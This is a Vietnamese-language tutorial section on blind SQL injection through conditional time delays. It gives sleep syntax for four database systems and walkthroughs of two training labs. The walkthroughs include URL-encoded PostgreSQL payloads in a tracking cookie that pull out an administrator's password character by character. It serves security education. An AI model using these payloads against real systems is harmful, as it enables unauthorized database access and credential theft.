II. Phân tích và khai thác các lỗ hổng SQL Injection (tiếp)
6. Blind SQL injection (tiếp)
6.3. Khai thác lỗ hổng Blind SQL injection bằng cách kích hoạt độ trễ thời gian (time delays triggering)
Phương pháp khai thác trong mục đã lợi dụng phép tính vô nghĩa nhằm tạo ra lỗi thực thi trong câu truy vấn, dẫn tới trang web trả về response error. Đặt ra giả thiết rằng, nhóm phát triển sản phẩm đã nghĩ tới trường hợp trong quá trình vận hành, câu truy vấn trang web sử dụng có thể xảy ra lỗi nên họ đã xử lý khéo léo bằng cú pháp TRY/CATCH. Ví dụ:
BEGIN TRY
{ sql_statement | statement_block }
END TRY
BEGIN CATCH
[ { sql_statement | statement_block } ]
END CATCH
[ ; ]
Cách làm này khiến chúng ta không thể dựa vào trạng thái error trong response để kiểm tra tính đúng sai của câu truy vấn con. Lưu ý rằng tuy không có "dấu hiệu" nhận biết nào, nhưng câu truy vấn con của chúng ta thực tế vẫn được hệ thống thực thi. Dựa vào điều này, chúng ta cần tự tạo ra một "dấu hiệu" bằng chính câu truy vấn chúng ta có thể điều khiển tùy ý. Một trong những cách thường được kẻ tấn công sử dụng là kích hoạt độ trễ thời gian (times delay) có điều kiện.
Xét trong hệ cơ sở dữ liệu Microsoft SQL Server với hai câu truy vấn như sau:
-
SELECT population FROM world WHERE name = 'Germany'; IF (1=1) WAITFOR DELAY '0:0:5';
-
SELECT population FROM world WHERE name = 'Germany'; IF (1=2) WAITFOR DELAY '0:0:5';
Hai câu truy vấn trên đều kiểm tra điều kiện sau từ khóa IF, nếu điều kiện đúng sẽ thực hiện lệnh WAITFOR DELAY với khoảng thời gian là giây. Như vậy chúng ta có thể chèn câu truy vấn cần kiểm tra tính đúng sai vào điều kiện này, quan sát thời gian hệ thống delay nhằm xác định dữ liệu cần khai thác. Payload như sau:
'; IF (SUBQUERY HERE) WAITFOR DELAY '0:0:10'--
Ví dụ trong PostgreSQL, chúng ta cần xác định ký tự đầu tiên trong password của người dùng administrator tương ứng với tên cột password, username trong bảng users, payload như sau:
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
Đối với mỗi hệ cơ sở dữ liệu khác nhau, lệnh times delay có cú pháp khác nhau, tham khảo bảng sau:
database management system | Time delays syntax |
---|---|
Oracle | dbms_pipe.receive_message(('a'),10) |
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT SLEEP(10) |
Cú pháp kích hoạt times delay có điều kiện:
database management system | Conditional time delays syntax |
---|---|
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'\|\|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |
Phân tích lab Blind SQL injection with time delays
Miêu tả: Trang web chứa lỗ hổng SQL injection dạng Blind khi phân tích và thực hiện truy vấn SQL bằng cookie theo dõi (tracking cookie), trong câu truy vấn có chứa giá trị của cookie đã gửi. Kết quả của lệnh truy vấn SQL không được hiển thị, và cũng không còn các dấu hiệu thông báo, không tồn tại trường hợp khiến response trả về error. Tuy nhiên, vì câu truy vấn được thực thi đồng bộ nên có khai thác thác bằng phương pháp triggering times delay. Để giải quyết bài lab, chúng ta cần tấn công lỗ hổng khiến trang web bị delay giây trước khi trả về phản hồi tới người dùng.
Bài lab chứa lỗ hổng Blind SQL injection trong cookie TrackingId:
Chúng ta chỉ cần thử các cú pháp times delay ứng với từng hệ cơ sở dữ liệu. Cuối cùng chúng ta xác định được trang web sử dụng PostgreSQL, một số payload có thể sử dụng như sau:
'%3BSELECT(pg_sleep(10))--
'||pg_sleep(10)--
Lưu ý trong payload chúng ta cần thực hiện URL encode ký tự ; thành %3B
để phân biệt với các giá trị cookie khác.
Phân tích lab Blind SQL injection with time delays and information retrieval
Miêu tả: Trang web chứa lỗ hổng SQL injection dạng Blind khi phân tích và thực hiện truy vấn SQL bằng cookie theo dõi (tracking cookie), trong câu truy vấn có chứa giá trị của cookie đã gửi. Kết quả của lệnh truy vấn SQL không được hiển thị, và cũng không còn các dấu hiệu thông báo, không tồn tại trường hợp khiến response trả về error. Tuy nhiên, vì câu truy vấn được thực thi đồng bộ nên có thể khai thác thác bằng phương pháp triggering times delay. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm tìm kiếm mật khẩu tài khoản administrator, biết rằng trong cơ sở dữ liệu chứa bảng users, gồm cột username và password.
Xác định cookie TrackingId chứa lỗ hổng Blind SQL injection có thể khai thác bằng phương pháp kích hoạt times delay ứng với hệ cơ sở dữ liệu PostgreSQL, payload: '%3BSELECT+pg_sleep(10)--
Xây dựng payload kích hoạt times delay có điều kiện: '%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
. Điều kiện lúc này 1=2 là sai nên thực thi lệnh pg_sleep(0)
, ngược lại, thực thi pg_sleep(10)
Từ đây, chúng ta có thể chèn truy vấn con và kiểm tra tính đúng sai của truy vấn con này, payload kiểm tra trong bảng users có chứa username bằng administrator hay không: '%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Response delay khoảng giây mới trả về nên câu truy vấn là đúng. Tiếp theo, kiểm tra độ dài mật khẩu người dùng administrator, payload: '%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Thay lần lượt độ dài cho tới khi nhận giá trị thì hệ thống xuất hiện delay rõ rệt, chúng ta có thể khẳng định mật khẩu người dùng administrator có đúng ký tự. Cuối cùng, chúng ta chỉ cần kiểm tra từng ký tự của mật khẩu này, payload kiểm tra ký tự đầu tiên: '%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Tương tự như trên, chúng ta sẽ tìm thấy chính xác mật khẩu gồm ký tự của người dùng administrator, đăng nhập và bài lab được giải quyết:
Phương pháp tấn công trên dựa trên cơ sở là khoảng thời gian delay từ hệ thống. Tuy nhiên, cơ sở này có thể còn bị tác động bởi độ nhanh chậm của mạng internet, trục trặc từ hệ thống hay nhiều nguyên nhân khác chưa xác định được. Dẫn đến tỉ lệ chính xác chưa thể cao bằng các phương pháp tấn công khác. Một cách khắc phục là có thể tăng thời gian "sleep" của hệ thống lên, tuy nhiên điều này sẽ tốn thêm tài nguyên khai thác (về mặt thời gian). Trong quá trình tấn công, khi cần sử dụng tới phương pháp kích hoạt độ trễ thời gian, thì tôi khuyên không nên làm thủ công mà hãy tận dụng các công cụ hoặc viết mã khai thác để tự động hóa quá trình tấn công. Phương pháp khai thác lỗ hổng SQL injection bằng công cụ tôi sẽ giới thiệu ở phần sau.